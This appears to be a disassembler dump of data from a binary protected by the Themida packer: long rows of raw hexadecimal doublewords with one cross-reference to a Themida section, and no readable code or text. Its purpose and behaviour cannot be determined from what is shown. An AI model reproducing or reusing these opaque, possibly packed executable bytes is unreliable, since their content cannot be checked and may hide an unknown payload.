0CDD5F3FFh, 595B4575h, 0DCC3CD8Dh, 4F4A5404h dd 0C7A0DD9Dh, 2EA27A27h, 0B424E4A0h, 39B16B2Ah, 8DCD099Fh dd 45D2953Dh, 0A073D796h, 11770CC1h, 0F31EE7D5h, 7CA0274Fh dd 5D8F699Bh, 0B270CF83h, 0D0E498A3h, 0A1829671h, 0D73E4926h dd 3312AC73h, 2FA6DFCBh, 0BA34EE59h, 4719891Fh, 0F939612Fh dd 7CCD309Ch, 0D39A96D7h, 7D72DEE1h, 59642678h, 80D69125h dd 0A520363Fh, 0A5D0551Bh, 5B45DDF1h, 0F2CC825Ah, 16B21493h dd 0AB220D8Fh, 7E73E7FAh, 0D0E44626h, 781CD8CEh, 39B77116h dd 54722EA7h, 0FD2B8A4Eh, 11AD439Eh, 65B125Bh, 0F9BA0000h dd 7D25A32Fh, 0E9AB35A5h, 8C13BD3Dh, 1F9A04B4h, 97108DCDh dd 9ED20A77h, 6454B4F0h, 0E9E13B7Ah, 7D7DB9EFh, 0F582456Dh dd 1073D796h, 1F815C91h, 0BF014F8Bh, 0ED3A25Eh, 23AA10E7h dd 690D315Ch, 52FC98FEh, 0EDE37D8Fh, 7F7DB9EFh, 0C6F45051h dd 4806C2D8h, 0FC675987h, 40407EEEh, 0A87C3D35h, 3AFEA422h dd 0EE482AB4h, 0D8B92EC6h, 3D73D2ECh, 0BF5C0BA3h, 5A73D2ECh dd 0B037CD80h, 891AF76Ah, 0E5BD3D8Fh, 0E7FD9A4Dh, 0C518759Ah dd 0F8153B9Bh, 0E2EBB54Bh, 9ADE6825h, 0DE9F7C75h, 828D759Ah dd 0CF31B6DEh, 0EE8F693Ah, 0CFA91E5Ch, 0E773D73Ah, 73D73A29h dd 0E7468218h, 0FB955953h, 96F8F57Bh, 0E5000005h, 606E62A2h dd 0D6F0F838h, 5E7870ACh, 0C5C38F49h, 5D4800C4h, 2BF1B050h dd 0AD7D39A7h, 3AE2A32Dh, 0B67228B6h, 5D0AA23Ah, 73D795BCh dd 90975859h, 59D3165h, 8512D56Dh, 60759A7Fh, 7FF899DEh dd 431D759Ah, 9B135D0Ah, 75D48F69h, 48B5977Bh, 0B938A66Ah dd 71C92A0Bh, 4C881E8Ch, 8539BC0Eh, 17458107h, 76AED7B5h dd 0FF4E2694h, 0AD45DE63h, 0E1EDE0F0h, 0B2737FBBh, 0FC9AD08Ah dd 606E62A6h, 4C0C23Ah, 0F09634BAh, 60BC8634h, 0DAFE4F4Eh dd 13E51679h, 13891558h, 0CEF89BD7h, 649E3D03h, 1ADh, 9B5D424Ch dd 659065D2h, 7FAF4CFBh, 0F04A759Ah, 1E882095h, 0A406EDABh dd 4DCF5710h, 902A8F52h, 53B24ADAh, 7FD7F9D5h, 0E4B532DDh dd 173D26Ch, 0A27136BFh, 0F773D26Ch, 60F89997h, 0D26C16E7h dd 6469F373h, 0A6CE729Dh, 1A565921h, 71345A89h, 1E7CDA28h dd 2EC6541h, 437B724Ch, 0B1D7F1F9h, 0E1AF4775h, 0D77664A0h dd 0BE33EF81h, 5C11F3A1h, 4A86C32h, 2F8ED125h, 1C514710h dd 82B6C1A0h, 10097DEAh, 5AE48F52h, 10F2AF14h, 95B573D2h dd 0AAFD099Bh, 5E579E38h, 1E000000h, 9D316590h, 52623C2Ah dd 60E77F8Fh, 73D27293h, 0EDE1D476h, 0FDA33B53h, 596369B9h dd 0D2727D1Ah, 8FC69873h, 38AF47DFh, 73D2725Bh, 0B43AE6AEh dd 93DA642Ah, 0D27279D2h, 201E3E73h, 0BF7B2F71h, 0BD26AF31h dd 9E38C481h, 0AF2Bh, 93FD9500h, 3983C90Dh, 0D27EDDBAh dd 2FA63873h, 0D5117706h, 0A6B8F9E7h, 9A7F5021h, 492BB575h dd 0DB1F8503h, 5591F795h, 7B1CA265h, 0B3E9759Ah, 8FBA7B77h dd 9577B3D7h, 0DA644601h, 0C7998F54h, 118917AFh, 82C19BD1h dd 73D0DAF5h, 0E7FA05BFh, 8C02C4AFh, 0FE58840Eh, 0F18921F7h dd 0D04E9976h, 0EBE27C73h, 6A66A6E3h, 1EFF2D6Ch, 46DD2FAh dd 9209A42Ah, 0E1000003h, 6C6A66A6h, 0D2FCFC34h, 5A4474D0h dd 0C1CF8345h, 595404C0h, 2FFDBC5Ch, 0A16125A3h, 3EE6AF29h dd 4A8E14B2h, 590EA606h, 73D793B8h, 779B5C5Dh, 0F09ED20Ah dd 0CD626EAAh, 4A921F81h, 0C1059B03h, 65A1E3ADh, 0AE605577h dd 32BE7A20h, 0FFFDAE3Dh, 34E9759Ah, 0F759AFFh, 94DA1A81h dd 0D1FC83CAh, 1E5E09ADh, 3F8F691Bh, 49572FADh, 55DC9151h dd 9C484A2Ah, 7D2D9A32h, 58891F00h, 8D072786h, 814F0222h dd 3082Ch, 0FC2C5700h, 0ACED2FCh, 825E5846h, 19DBC0CEh dd 924A3751h, 22C2A3DEh, 0AB35A567h, 15B33FEBh, 9A04B490h dd 3088C004h, 924E2F98h, 0CEAB73D7h, 0D5117709h, 0D1BE29C1h dd 34759A7Fh, 9B6B23AAh, 656BAFF5h, 168C125Bh, 0EC179ED2h dd 0B0D62E74h, 0A4C8AA74h, 526DC723h, 0DDC2CC8Fh, 420B551Bh dd 1AC6CE4Ch, 904D32B8h, 0D773D26Dh, 0B6D8B9F7h, 345D10CCh dd 9E38D70Ah, 25A0h, 65905700h, 9B059D31h, 0C186CF1Bh dd 8F526241h, 0AF145AE4h, 73D272F2h, 99B95B5h, 9E38C4FDh dd 0DC57h, 11771E00h, 0B8F9E7D5h, 0FE966E6Ch, 9A7FA849h dd 0FAF34D75h, 440ACED4h, 7CB8EEB0h, 8B4F5579h, 7BBA00C7h dd 594F759Ah, 7B039057h, 44E6759Ah, 0CF1EF6FAh, 744E124Ch dd 28B63FC3h, 7D38B672h, 0FBBAE452h, 0A5D5A221h, 0AE30759Ah dd 886AB6F0h, 95A763E4h, 0FA8A8F52h, 0D28AAC4Dh, 15F74973h dd 4F8B1F81h, 7A36BF01h, 0C8EC90BBh, 1C2EB51Fh, 0E28A5489h dd 6435B24Ah, 9175982Eh, 3B85CB17h, 0FCE2EB75h, 0F44C53BDh dd 0D6B06C16h, 6FBDFC9Ah, 25B2468Eh, 8D20AE02h, 1CDh, 31B96B2Ch dd 0BB37F397h, 34F9B1Dh, 8AC61E85h, 135F8D0Ch, 0B8F91966h dd 22626C6Ch, 0A9ECEAE6h, 4B517F73h, 0D3FBC38Fh, 0D7918714h dd 0CE076273h, 9ED20A77h, 23A4AAF0h, 759A7F52h, 74B15B7h dd 0D659030h, 4F115F8Bh, 1EC9EDh, 0A58F5262h, 3DEE551Bh dd 7A73D272h, 0A53D5C52h, 0D2725522h, 3BE1A073h, 0DB652BB5h dd 0C4FD0992h, 0CE579E38h, 1E000000h, 0E7D51177h, 23F0770Fh dd 0C6759A7Fh, 2C6D7164h, 8A22F2F8h, 9A7F3CDDh, 7B3BD975h dd 0DF88CDAFh, 759A7BF7h, 10589C02h, 0E6D41076h, 0DD8AF41Fh dd 759A7B3Ch, 5F1DCDC9h, 533D8F0Dh, 4BDA8C3Bh, 55F78F52h dd 0CD719C65h, 0AC3011A9h, 0C9D900E4h, 6B501558h dd 4E891CFEh, 0A840D8FCh, 98FE5E3Fh, 51A2BB75h, 16D6973Dh dd 2AB4399Bh, 653DBD6Fh, 28AD793Bh, 4421FBA6h, 225AF86h dd 0D67D70FEh, 25000000h, 0A02EA262h, 16B038F8h, 9E38B06Ch dd 583CF09h, 9D084084h, 6BB1F010h, 0ED3D7967h, 7AA2E3EDh dd 0F6326876h, 1DCAE2FAh, 73D7907Ch, 77D71899h, 0F09ED20Ah dd 92626EAAh, 7FAC4DFAh, 0E1E6759Ah, 47553FB0h, 91C46614h dd 0D51177A4h, 67A3F9E7h, 0DB7F8A6Bh, 34751BB3h dword_598468 dd 7A439AD0h, 7137B464h, 6025A80Ah, 8F69E738h, 8B094719h ; DATA XREF: Themida_:005612AAo dd 0FF99D115h, 0B86F6DA9h, 0E59B972Ch, 0EEAF815Dh, 97009156h dd 67E51A1Bh, 521BE521h, 0DE92564Ch, 0A02EEAB0h, 1E877D22h dd 687664C6h, 0A78A7233h, 0ABB2D8EEh, 9F0583C9h, 6141155Bh dd 0F8994E4Fh, 1D1A1BBFh, 3D0DE143h, 0FA3E6403h, 28701EF6h dd 95D8E2E8h, 19579309h, 0C54h, 0A0816300h, 4BF60532h dd 0D3AF264Ch, 0DC0C7764h, 6EAAF09Eh, 0F9236260h, 71D1D5F3h dd 885C5D7Bh, 7C5C4C2h, 9C544B49h, 2AF6B0DEh, 0A66226A4h dd 0EA685B28h, 8900005Eh, 0EC81243Ch, 4, 52240489h, 0C281E289h dd 4, 8704EA83h, 895C2414h, 68552434h, 64DE4D2h, 5DE8895Dh dd 4EC81h, 24890000h, 24048124h, 4, 4EC815Eh, 89000000h dd 468F2404h, 2434FF08h, 4C4835Eh, 5024048Bh, 405E089h dd 5000000h, 4, 5C240487h, 0FB5809E9h, 0B81660FFh, 64DF04Dh dd 0E0FFC503h, 2DFDDA5Fh, 262E9462h, 1B056E71h, 372653BFh dd 4610C5D3h, 48F4FA28h, 7DE51DACh, 1DAD11ACh, 0C586DD0h dd 768807AEh, 67862CAFh, 0F1BA8D8Dh, 77BF064Dh, 89175BF5h dd 4814058Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1404h, 0C3554500h, 259D0332h, 0C706480Ah, 48302585h dd 64C006h, 5BDC8000h, 2AD985C7h, 648h, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 0BF2A77C3h, 0D3DB5FFh, 6A0648h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 0C69F19C3h, 6BF89FEBh dd 3AD83EBAh, 81DF8B1Bh, 5B35E3C0h, 7195FF2Dh, 6A06480Eh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 0D1E1C355h, 0FAB70FDAh, 95FF006Ah, 648092Dh dd 1BEBC08Bh, 94FB9BE3h, 55AF742Eh, 60D22968h, 0C3AC2D3Bh dd 0CFA88A3Dh, 5849C28Ah, 0E8E96267h, 0Bh, 0A2CE597Ah dd 1535A932h, 8BBDFADDh, 481B519Dh, 0B58B5806h, 6481CD9h dd 59D1C081h, 0BF0F0000h, 66FF33DAh, 0D2BFCA81h, 0BE0734FFh dd 262616Eh, 880F6059h, 5, 174603B8h, 0E5858916h, 6106481Eh dd 9F3FC181h, 0B5095AA4h, 6480AB9h, 0F761C181h, 11E85FE8h dd 0F7000000h, 0A7DEDD11h, 17879F20h, 0CE775A18h, 0DC1C0FF0h dd 28E9B58Bh, 815A0648h, 7D68D4C1h, 3820F08h, 0F000000h dd 6651F1BFh, 8F7352BEh, 0B50B3804h, 648276Dh, 3C5D12BEh dd 0EBEF813Ah, 2907D966h, 480BADBDh, 0E7C78106h, 8107D966h dd 0DDF0CDF6h, 18FF815Bh, 0FFFFFA7h, 1F85h, 850F00h, 0E9000000h dd 29h, 2FBEC6C8h, 3DE8408Eh, 0C1B7CB11h, 0DA160879h, 0D590CAF4h dd 23DA5ABAh, 0FF46E94Dh, 86FEFFFFh, 0C6F273FCh, 0CCCEDB80h dd 9E8C9h, 0A41B0000h, 2D2A9D74h, 60080465h, 29BDBB66h dd 8E9h, 318E0E00h, 9C8FD90Bh, 605A618Fh, 116DB50Bh, 8C0F0648h dd 15h, 10E9h, 0FBF78600h, 8D7A92F0h, 25B331Ah, 64F0DDFBh dd 0C2816110h, 730Fh, 1C95BEh, 0BFB15700h, 332FF5Bh, 480C259Dh dd 0F7815F06h, 5701875Ch, 20359D89h, 0F7810648h, 29FD905Dh dd 2BB1858Bh, 0EF810648h, 43F95A6Ah, 17258D2Bh, 3A890648h dd 0ADEEC081h, 0EA8326FFh, 81666004h, 0E85357F1h, 13h dd 0FC7B39BDh, 0E9B2D496h, 0E642772Eh, 9CAA3D23h, 89DCF3D8h dd 48088995h, 81615A06h, 1EEh, 96850F00h, 31FFFFFFh, 4810059Dh dd 79EB06h, 8CEF9E7Dh, 0D60FE221h, 979FABAFh, 0E37C4DB2h dd 720095B7h, 0B5E9A9E5h, 609BB69Ch, 0A9B6F377h, 609EB794h dd 897D60D7h, 8C9EA9BDh, 0E3729EBDh, 204A95ACh, 7E9BB98Bh dd 0B99D8993h, 96AFF496h, 0B594A19Eh, 0FD91A7D6h, 0CC48D100h dd 3C33594Ah, 4D520071h, 5EF357DBh, 0B79BB7D6h, 0ABAFF600h dd 9F8995h, 0C77156F0h, 0BEB3D7h, 0D7567118h, 73E2ADC4h dd 4AAC12F2h, 0EB4E9h, 0F5E26800h, 5AE9064Dh, 68FFFA8Ah dd 64DF6BAh, 0FA8A50E9h, 0F7B768FFh, 46E9064Dh, 68FFFA8Ah dd 64DF8F9h, 0FA8A3CE9h, 0F98968FFh, 32E9064Dh, 68FFFA8Ah dd 64DFA35h, 0FA8A28E9h, 0FAD168FFh, 1EE9064Dh, 68FFFA8Ah dd 64DFB88h, 0FA8A14E9h, 0FC4068FFh, 0AE9064Dh, 68FFFA8Ah dd 64DFCEBh, 0FA8A00E9h, 0FE0868FFh, 0F6E9064Dh, 68FFFA89h dd 64E0061h, 0FA89ECE9h, 16C68FFh, 0E2E9064Eh, 17FFFA89h dd 0A5F1936Eh, 227E1A1Fh, 0B6E28E9Dh, 4551330Eh, 0BBD8B8B9h dd 4346E2DAh, 0F6D37521h, 7C73FEAAh, 0E4E3801Ch, 0E6B8CF84h dd 7C7226A2h, 850F982Eh, 0FE8AFBFEh, 0BA127E75h, 724CDB81h dd 7C6C45CBh, 0F6E0831Fh, 83F47550h, 77A0AA94h, 0BBC8491Fh dd 6CAA692Bh, 8976E07Ch, 0DC2FCA66h, 0DAE647D2h, 1C6DEA4Fh dd 7CA7379Fh, 0A6DBA95Ah, 33h, 0DC7EB9FDh, 44F9B249h, 7FD97002h dd 841543EBh, 507C6C57h, 0CC882657h, 877C6C47h, 32C914CBh dd 6C481C5Ch, 67CFA87Ch, 0A91BAC57h, 0EB76DBh, 85AD0000h dd 0D06CFBFEh, 12A550h, 62CA6226h, 0BF1794E5h, 0C5C46030h dd 3C33BE52h, 0F28E1996h, 610E7F72h, 5BAA49C9h, 73455E2Fh dd 87F475EDh, 294B4EF5h, 24E0EEBFh, 4C59DA76h, 24DC3672h dd 0CFC26276h, 0E483F1BEh, 0EA890567h, 70079EEFh, 0DBC385D9h dd 96117624h, 24DB8038h, 8B234C76h, 0D3420833h, 0F3A9473Ch dd 4E697ECFh, 255251D2h, 5DE0EE44h, 897C6C8Ah, 112A82EEh dd 0AB45DC4Bh, 28A60C09h, 82B6DDD0h, 6D04931Ch, 26D55711h dd 2FEE6576h, 51F24558h, 38DD75F2h, 7B1918A4h, 3F8E832Fh dd 12A18E8Fh, 4178F6A9h, 6700000Ch, 0F5A1C3DEh, 722E4A4Fh dd 692FEEDh, 9501637Eh, 6B88E8E9h, 0B3B6320Ah, 2623C5D1h dd 0ACA34E5Ah, 5453D0CCh, 0B6089F34h, 7C7227F2h, 85BF68FEh dd 0C98F8F9h, 91006067h, 0D87E73FFh, 0DC7EB9CFh, 90CB749h dd 2933B78h, 6C401DACh, 0E6B8C97Ch, 7C6C3FA2h, 512E25CEh dd 0D5472050h, 5C5D2A2Fh, 9B448DFh, 63B755C2h, 0C0410D7Fh dd 0B7FD4D6Ah, 927C6CBCh, 0D64D7B20h, 0CDBA984h, 0AEh dd 0FBFE8597h, 7F72FE8Ah, 36EDB00Eh, 5AD97624h, 0C2613D5Fh dd 0DDE6B6C7h, 24F3A83Fh, 0A21F5002h, 328C09A1h, 7C6D522Bh dd 0F8D0B0FFh, 0F38A1DBFh, 76DCDD59h, 0B7B36F58h, 29BCFB82h dd 8A16EB97h, 3589921Eh, 7626B073h, 6B92641h, 12A1567Eh dd 6927D748h, 3F00000Bh, 0CDD9BBB6h, 4A462227h, 0DECAD6B5h dd 6D395B56h, 83A0C0C1h, 6B6E0A32h, 1E0B9D09h, 849B2672h dd 0C0BA8E4h, 8EE0F76Ch, 7C7228CAh, 85D7B016h, 998F8F9h dd 12853972h, 548994B3h, 24414206h, 73E18E76h, 0BF5BF3F6h dd 42533134h, 4095D3ABh, 44237624h, 0FE85D5EEh, 75FE8AFBh dd 0E186127Eh, 6B0295E2h, 24325513h, 0BC126376h, 762432FCh dd 882EAFC8h, 0C6C6B08h, 29B41C95h, 7DCC5C0h, 0E90DBFAFh dd 4441ACEh, 0D07624EEh, 2DBF56D7h, 11149F85h, 35B3A90h dd 7C6CFE3Ah, 147176Eh, 0CF7C6CE7h, 0B2B530A0h, 0C527A4C5h dd 0F7184A0Bh, 0D3794273h, 0BFE76A44h, 77036E2Eh, 0E485F2CFh dd 7D461667h, 0F8B148DFh, 910043F4h, 0DDFB5340h, 73FA08F7h dd 1B98344Dh, 5B0A4E1Ch, 0A9D667E5h, 8A26BD28h, 1F9CEDE8h dd 5D58DBB7h, 0C5C0633Fh dd 0E2AD407Ah, 9B97620h, 0A6Ch, 0DCBCB332h, 452722C0h dd 0C9ABB649h, 3C5C55DDh, 0A7C5C460h, 630F379Ch, 0F096026Eh dd 9E1B7715h, 6ADF99Bh, 0DBF26103h, 7229C583h, 0DA4D137Ch dd 8AFBFE85h, 4E0A64FBh, 9A762433h, 0DED9B51Dh, 6CD5A93Ch dd 0F87C6C4Fh, 0C2FDDDBFh, 0FC21B8ECh, 54D52213h, 0BB20EDC1h dd 3B4482B4h, 96B8FC4Ah, 0FC937624h, 0B7C4C360h, 0B16E60F6h dd 0E16A6C97h, 3AB6DDh, 0B9ED0000h, 7549DC7Eh, 7C6C81AFh dd 51EB7A05h, 987DD5D4h, 1A667904h, 6C810A4Ch, 0A8B53E7Ch dd 6C8092D6h, 0D0515E7Ch, 4659E4B0h, 9C6B929h, 0B7EC0000h dd 0D89E7C5Ah, 2142E80Ah, 49DC7EB9h, 0A1090CB7h, 3DC35DF4h dd 9FD9B520h, 2D762432h, 0A5EEEC42h, 0CD7C7226h, 69933A2h dd 0E5F96A1Bh, 99A713A0h, 8312B839h, 0D84F4AE9h, 312B6D41h dd 0FEB97C72h, 0D75C4858h, 522326C3h, 312D6B43h, 0FCBB7C72h dd 0F681FE7Fh, 31490F5Fh, 0D1777C72h, 8AE687F4h, 0CEE945EDh dd 1E9F921Fh, 23FF3787h, 8EE982C0h, 0FBFE8517h, 63660D99h dd 47015DF4h, 95762440h, 593744EAh, 5529BC5Eh, 7C6C70B0h dd 0ACC47B04h, 9A0C5B97h, 92A75E5h, 0F57C0000h, 60029EFAh dd 0F48B0765h, 971F8BE9h, 6A2FE9Ah, 75426103h, 0C0A0A14Dh dd 355732D4h, 0BFDDDC59h, 274540E3h, 34519ACh, 0D17C722Bh dd 0EC80940Fh, 0F7E54D44h, 762432ADh, 0A73EDCE7h, 722627D7h dd 2FA6C17Ch, 7113169Dh, 0C9B9E25h, 255F1975h, 26D7C72h dd 76410FACh, 0F1AA41D4h, 7F778841h, 6229B596h, 0EE80DE4Fh dd 0A68BC961h, 2782B966h, 44DC3072h, 0EE444784h, 9DDBB3C2h dd 2B762982h, 3670CF4Ch, 10129E85h, 89AEF9Fh, 650C0000h dd 10920E6Ah, 841B7715h, 7AFFB99h, 0B6326E0Ah, 0E5B2D1B3h dd 305051DDh, 0A5C7C264h, 2F4D4CE9h, 97F5F073h, 93D5A93Ch dd 217C722Bh, 0FE85049Fh, 75FE8AFBh, 0F373017Eh, 71F381FEh dd 0D2800774h, 77AF206Dh, 8D7B8C5h, 33E8628Bh, 0E1D2EE15h dd 37D34DDh, 0B96F0000h, 7549DC7Eh, 7C7226D5h, 3FD14423h dd 8A26B1B4h, 189916F5h, 0E87F16B2h, 7225D296h, 3911E7Ch dd 42CE6461h, 3732B1A1h, 760702A5h, 0ACFB8809h, 0E0919010h dd 0E7AD2B83h, 217C7225h, 8DE17416h, 82BA42A4h, 4418A7C0h dd 72129DE5h, 7EE0DBDh, 31B00000h, 0BC46523Eh, 38CFDBB9h dd 0D3534F2Dh, 5AE6B2DEh, 0B91E2547h, 84E4E581h, 96B7608h dd 7311109Dh, 0FB999C27h, 3F795568h, 8D7C722Dh, 0FE85683Bh dd 0CB4857E8h, 4E45EEBAh, 0F9A61831h, 0E11254CFh, 2E18EDDh dd 47150000h, 762432FDh, 0F76E2C17h, 2ECB2B60h, 0BE372EE9h dd 87D6BA18h, 95127C72h, 3AC56E02h, 0B861F453h, 0E98B081Eh dd 423336BDh, 0FC6B310Ah, 4DAE2787h, 14BA222Ah, 7B53EA81h dd 7C71A93Dh, 846EC8Bh, 82B9C629h, 0CF833A45h, 0F9129E6Ah dd 7528806h, 0AD540000h, 58DAB6D2h, 0DC633F5Dh, 4FF7A3C1h dd 0FE7A1672h, 1D7A99FBh, 0F8989925h, 6D0F1AACh, 0D7B5B431h dd 5F3D38BBh, 0DB9DF184h, 0E97C722Ch, 0FE85CC57h, 0F9D56CFBh dd 762432BFh, 0AFCC620Dh, 225356DDh, 0DACAB12Dh, 0DDE11221h dd 9C931EB2h, 24288EEFh, 237h, 4974148Dh, 14C8C580h, 9A1B686Fh dd 4712B51Dh, 762432FDh, 0F76E2C17h, 8A716E82h, 0BA39B21h dd 0DA59F38Ah, 5977DFh, 4C7C7324h, 0C7B4B330h, 409ADEB0h dd 59267C71h, 30CC5BD8h, 0B8D4B4B3h, 14F3C3Bh, 0AD019436h dd 82B9568Ch, 7C63AB58h, 0F09FF091h, 0DC7CCC73h, 0C5BA129Dh dd 69B55h, 6D640D00h, 1411930Fh, 98871874h, 0D04ACF8h dd 0B2B7336Fh, 0DCE4CDD6h, 67335150h, 0E8A4C4C1h, 722E4A4Dh dd 3D96F2F1h, 2D94D4AAh, 9E207C72h, 0FBFE8505h, 7E75FE8Ah dd 0A8A955E7h, 532D7502h, 0AEBF44ECh, 243298D0h, 0DA5B2476h dd 0EE51EBEh, 73FDDE1h, 64000000h, 17A67h, 0EC80FC00h dd 0E9E74F5Ah, 762432B1h, 4A24D8E3h, 7624330Eh, 744ADDDAh dd 76243334h, 0EF66E780h, 7226C59Fh, 0CABDF67Ch, 0D0E6EEE9h dd 472050E6h, 0B0B73CD0h, 383FC4D0h, 903A054Bh, 0F90A905h dd 405C82BAh, 0A9D6A7A2h, 528603Eh, 0CBB4762Ah, 27BF34Ah dd 0C2BD129Eh, 5E354h, 253CC500h, 0ACA94B47h, 504FD0CCh dd 0C5DC6430h, 4A4FEBA7h, 94AC052Eh, 1F8BE9E8h, 0A0FC9C89h dd 2A660205h, 75EE8A89h, 2F4C0C62h, 0C6987C72h, 0FFE855Dh dd 0A29F2959h, 9EC8D660h, 9DE26F18h, 841465E2h, 0F38BF8FFh dd 951EC2B9h, 0CD75079Eh, 0AA425EF4h, 0DDE1F471h, 7ABh dd 0BC67F000h, 0FC000000h, 24330447h, 65271076h, 26CF9CF2h dd 9C1B7C72h, 83397209h, 0EAEEB1F1h, 3BB858FEh, 0BC12A93Ch dd 7C71DFFCh, 7B07AFC8h, 0F081842Fh, 6EF9A39Ch, 0BABF45D7h dd 0F5A34614h, 6F82B9h, 9E1CC7BDh, 900E8112h, 538h, 0A8C8C76Eh dd 117376FCh, 85E7E285h, 8686909h, 7311109Ch, 0BF3B0350h dd 3CC2DEBAh, 0AA574321h, 5AD9B5D7h, 0FA63D5Fh, 722EF9BFh dd 0A661C77Ch, 8AFBFE85h, 578A75FEh, 5E09D32h, 8C1263E0h dd 1CA74D32h, 28D37B19h, 0F2DDE19Ch, 7, 1D6729h, 85FC0000h dd 0FE8AFBFEh, 2A017E75h, 0C8648B70h, 5E5F2C2Bh, 9C9B18F8h dd 2A42FCh, 85C10000h, 350D0FFEh, 126EE62Bh, 321825DCh dd 0B435B238h, 74348A21h, 40762492h, 52E08F27h, 76249313h dd 73B96650h, 0C97F5F0h, 91EDFE85h, 762432D7h, 8A1D9AE5h dd 0DCDD59F3h, 0D890CEAFh, 0E4762432h, 0C884339Bh, 0E4BA2DEFh dd 7C72269Fh, 1F12922Eh, 9A9016Eh, 0DE65F76Eh, 5B2837C8h dd 0E3BFDD5Ah, 58344540h, 932ABD5Fh, 25E6A2FCh, 0A6F27C72h dd 2E840500h, 0C01976A0h, 92056282h, 0A0F69419h, 3BA97F17h dd 0AFCCBDB8h, 71F28E07h, 0F97A1672h, 0F8C38DFAh, 4AEBC352h dd 9E7C6C7Ch, 0ABBCAE11h, 5FA0C5Bh, 41B95h, 0EDE48D00h dd 9491138Fh, 180798F4h, 8D842C78h, 3237B3EFh, 5C644D56h dd 0E7B3D1D0h, 68244441h, 0F2AECACDh, 0BD167271h, 3114542Ah dd 1EA07C72h, 0FBFE8585h, 70660D99h, 0F484F5F4h, 77F4754Ch dd 0CAC96A06h, 0D48BE5BDh, 0F560670Ch, 0D54601BCh, 2484BFF9h dd 11620D76h, 0BBA52E8Fh, 0C981F92Ch, 5C6CC243h, 0E1C047BCh dd 599DDDh, 0B9060000h, 2D18287Eh, 1E18CE5Ch, 79923B65h dd 0A2233AA1h, 0DE995B33h, 402F7C6Ch, 0A8BE3BD5h, 2A7D0A0Dh dd 6C461454h, 46C7A07Ch, 0A82934CAh, 0BC47D9C8h, 0E89ECCB9h dd 8E7A3EDAh, 50ECAA28h, 971C7C6Ch, 91EEE383h, 0E5626703h dd 0ED880464h, 0F17E7BF9h, 3561280h, 0B9710000h, 0B249DC7Eh dd 24329CDCh, 0E74F2876h, 44D5502Eh, 6617C6Ch, 9D981B69h dd 5615C5ECh, 50C785BEh, 1238E65Bh, 0BA1028D0h, 0B38283DBh dd 993382B4h, 6D6C0806h, 5E2A46ECh, 0B1F7C7D4h, 3F7624B0h dd 1672F370h, 0F5C97D46h, 7624B0B3h, 6EF96601h, 6CC21510h dd 28D5A17Ch, 0C9DBA829h, 0B85F2C2Dh, 98A3453Ah, 67715106h dd 0D7548494h, 57E76E40h, 347382B4h, 0BCBB3854h, 3336BDCFh dd 9C3E7951h, 4788B509h, 27B97C6Ch, 8BE8999Ch, 9BE89723h dd 6C4289CBh, 0A916C07Ch, 0A902847Fh, 0E38517DBh, 78E889E6h dd 0E18EFFFAh, 3A8549h, 50EC0000h, 383FC4D2h, 0DCAD2A4Bh dd 0B96C77DFh, 7549DC7Eh, 7C6C4064h, 6EB403B0h, 54BB94C0h dd 4AC40D7h, 973F7C0Dh, 0F0A4A18h, 95417C6Dh dd 0D205FED6h, 0F8DFDBA9h, 44000000h, 91EDFE85h, 762432D7h dd 32EAAE00h, 89F67624h, 0A0A848FBh, 754F73CCh, 0ABE077F4h dd 0CC54F820h, 39B61CA4h, 0BDCACF6Bh, 304144EFh, 0A4C4C360h dd 0C11BB4EDh, 0CEEAFE59h, 0E4236A68h, 0E9A27624h, 4C419C33h dd 74EB9C08h, 4FFE8040h, 0BA868CEh, 0B3306C0Ch, 0AE89C7B4h dd 7AE4A4FAh, 0A1F07624h, 247A8BCDh, 0D15E5976h, 0A4E9C550h dd 0C07C6CAAh, 35CCC5A7h, 6C9A1F59h, 53C2AD7Ch, 6C9A3D7Bh dd 46EC8B7Ch, 980FCDF6h, 0B73E49C6h, 6FE68182h, 2F5C55DDh dd 932DE84Eh, 1A761217h, 3C249B9Eh, 0A12A111h, 1C2E595h dd 5DE40000h, 0C86A2642h, 6CF3AFCDh, 0FF871371h, 6E0A86E2h dd 8DEA096Bh, 680809B5h, 0DDBFAA3Ch, 472524C1h, 0CFADA84Bh dd 6B2D8114h, 797C7232h, 0F9853CE7h, 3D4A4FEBh, 19DFF7Ch dd 4A5E9362h, 9C8E3A9Ah, 243C86C2h, 0D4555276h, 0B9AE3557h dd 7549DC7Eh, 7C6C4064h, 2886F7B0h, 7C6C3F6Ch, 4519B0E7h dd 7C6C4003h, 4E00D6D1h, 34CB791h, 0CF96DBA9h, 0D000000h dd 6CFBFE85h, 0FD5554D0h, 306A2FEh, 0E7A1FD94h, 0F5762432h dd 9B961E8Ah, 67368433h, 63762436h, 5231D6C0h, 0D7AA5725h dd 0DB58D9A6h, 7D51E8B9h, 7624363Bh, 7277FD89h, 4FE76405h dd 0B22520C3h, 0CA9DAEF9h, 983E89AEh, 0D68AB51Bh, 41296F3Fh dd 0C8B77624h, 2440DE9Ah, 0C8DEA76h, 7078C599h, 0C3AC7C6Ch dd 0D45CF0A1h, 9E9975DDh, 0BB1569FCh, 982B6F4h, 9082F76Eh dd 0A0BD4337h, 762F76D7h, 1F9B35E0h, 86227E1Ah, 6D2A3C83h dd 631C12A1h, 0B7F3h, 4948E900h, 0F0F57F2Bh, 64630490h dd 0E9E88804h, 9E931F8Bh, 0B880D1F2h, 435F3D3Ch, 0D4C0A0BDh dd 5E4A5629h, 21B2DED5h, 3378308Eh, 0E2447C72h, 0F8F98521h dd 60670C98h, 0FE856300h, 75FE8AFBh, 81BA127Eh, 39724CDBh dd 817C7227h, 78FB89E6h, 0E0831F7Dh, 56DE72E5h, 0D8A9A848h dd 4C2D5ADBh, 3E79C9E6h, 33C95437h, 0DB58807Fh, 43E0BCDCh dd 0DD653744h, 0F35851C4h, 4289010Bh, 41C4F35Bh, 9D19B34Ah dd 0D08EEF9Ch, 0C0D38798h, 0F9F35B24h, 0A341DB02h, 879ADEB0h dd 5926C0D3h, 5AD9ABD8h, 0C0412E5Fh, 0E05AE6Ah, 0A58D3662h dd 0ED9A1B1Eh, 37Dh, 0DA41DA00h, 94E5FC85h, 0B787F04h dd 8CFDFC79h, 0E7F6AFCh, 82F3F672h, 6774AF6h, 86F7CA6Ah dd 397655EAh, 0BFCCC96Bh, 4EC81B9h, 89000000h, 0E2892414h dd 4C281h, 